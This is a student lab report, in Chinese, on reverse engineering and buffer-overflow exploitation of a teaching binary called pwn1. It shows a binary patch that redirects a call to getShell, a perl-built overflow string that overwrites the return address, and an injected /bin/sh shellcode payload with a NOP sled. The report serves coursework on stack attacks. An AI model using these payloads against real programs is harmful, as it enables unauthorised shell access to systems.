2019-2020-2 网络对抗技术 20175311胡济栋 Exp1 PC平台逆向破解
2019-2020-2 网络对抗技术 20175311胡济栋 Exp1 PC平台逆向破解
一、实验要求
本次实践的对象是一个名为pwn1的linux可执行文件。其中包含的函数如下:
- main函数:调用foo函数
- foo函数:回显任何用户输入的字符串
- getShell函数:返回一个可用Shell(正常情况下不会被执行)
本次实验的三个实验要求如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二、实验过程
首先在老师提供的gitee里下载pwn1.zip压缩包,并且将其复制到共享文件夹中。
任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.在命令行中输入objdump -d pwn1 | more
对pwn1文件进行反汇编,并且分页显示。
2.输入/getShell
快速在文本中找到getShell函数、foo函数、main函数。
3.查看并且修改汇编指令。
<img src="https://img2018.cnblogs.com/blog/1610310/202003/1610310-20200301163254851-1137862186.png"width="50%" height="50%" />
- 其中位于
080484b5
地址的红框的call指令是用来调用位于08048491
地址处的foo函数。 call 8048491 <foo>
指令的机器码为e8 d7 ff ff ff
,其中call指令对应e8
,那么相应转跳的地址则是d7 ff ff ff
。- foo函数地址为
08048491
,getShell函数地址为0804847d
,结果计算得到目的地址为e8c3ffffff
4.ctrl+c
退出该界面,输入vi pwn1
打开文件,发现是文件以ASCII码的形式出现。
5.输入命令:%!xxd
转化为16进制表示。
6.在文末输入/e8 d7
或者/d7ff
查找foo函数地址。
7.输入i进入编辑模式,将d7ffffff
修改为c3ffffff
。
8.输入命令:%!xxd -r
重新转化为ASCII码形式,:wq
保存并退出。重新查看pwn1文件看是否修改成功。
可以看到程序已经修改成功,并且转跳至getShell函数了。
9../pwn1
和./pwn0
分别运行两个文件(pwn1是我们修改成功的,pwn0是未修改的),很显然两者运行结果不同。其中pwn1文件是修改后的文件,功能是一个shell,而pwn0文件是修改前的文件,功能是显示用户输入的内容。
任务二:通过构造输入参数,造成BOF攻击,改变程序执行流
1.安装GDB,获取root权限,输入apt-get update
,再输入apt-get install gdb
,中间确认过程只需要输入y即可。
2.根据foo函数指令,发现它有Buffer overflow漏洞,其中EIP和EBP各占4字节,缓冲区占28字节(0x1c)。只需要填充36字节,其中的33-36字节就能够覆盖EIP中的返回地址,造成缓冲区溢出攻击。
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
== 这里读入字符串,但系统只预留了_28_字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
==上面的call调用foo,同时在堆栈上压上返回地址值:_____80484ba_____==
3.输入gdb pwn0
对pwn0文件进行调试,输入r
运行调试,在输入1111111122222222333333334444444412345678
共40字节,程序产生错误。
4.输入info r
命令查看寄存器的值,EIP寄存器此时的值为0x34333231
,是1234对应的ASCII码。这样就可以验证33-36字节刚好覆盖EIP寄存器中的返回地址。
5.我们需要将EIP中的内容填入getShell的地址,即为0804847d
,\x0a
表示回车,那么输入的字符串则为11111111222222223333333344444444\x7d\x84\x04\x08\x0a
。
- 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,使用输出重定向>将perl生成的字符串存储到文件input中。 - 输入
xxd input
查看生成内容。 - 输入
(cat input; cat) | ./pwn0
,能够发现此时返回地址已经被getShell的地址覆盖,开始执行getShell指令。
任务三:注入Shellcode并执行
1.shellcode就是一段机器指令,通常其目的是为了获取一个交互式的shell。参考老师给出的学长的博客shellcode入门,如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.打开一个a终端,输入(cat input_shellcode;cat) | ./pwn2
运行pwn2
3.再打开一个b终端,输入ps -ef | grep pwn2
查看进程号。启动gdb调试,输入attach 1859
,然后再输入disassemble foo
反编译。其中看到ret指令的地址为0x080484ae
,再设置断点为break *0x080484ae
。
4.a终端中输入一个回车,程序执行到断点停止。
5.b终端中输入c
继续运行程序,输入info r esp
查看esp寄存器地址,x/16x 0xffffd30c
以十六进制查看之后16字节的内容。0xffffd30c+0x00000004=0xffffd310
6.修改输入并实现shellcode注入,将注入地址修改为perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
三、实验要求
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:0x90、JNE:0x75、JE:0x74、CMP:0x39
- JMP
- Short Jump(短跳转):0xEB
- Near Jump(近跳转):0xE9
- Far Jump(远跳转):0xEA
2.掌握反汇编与十六进制编程器
- 反汇编:
objdump -d xxx | more
- 十六进制编程器:
perl -e 'print "xxx"' > input
3.能正确修改机器指令改变程序执行流程(已完成,具体过程详见博客。)
4.能正确构造payload进行bof攻击(已完成,具体过程详见博客。)
四、实验感想
- 这是我们网络对抗技术的第一次实验,主要是研究缓冲区溢出攻击以及堆栈存储与函数调用的详细过程。先前我对缓冲区溢出攻击只有有些概念上的了解与认识,通过这次实验的学习,让我自己亲手操作执行了缓冲区溢出攻击,对这个攻击的原理与概念有了更加深刻的认识。通过对老师视频的观看与一些学习资料的学习,我也更好地了解了堆栈工作的原理与主函数是如何调用其他函数的,在这个过程中寄存器的值会如何发生变化。
- 关于漏洞与漏洞的危害,漏洞是指程序员在开发操作系统过程中产生的技术缺陷或程序错误,这些缺陷可能导致其他用户(比如黑客)非法访问或利用病毒攻击计算机系统,从而窃取电脑重要资料和信息导致用户的隐私信息泄露,甚至破坏操作系统。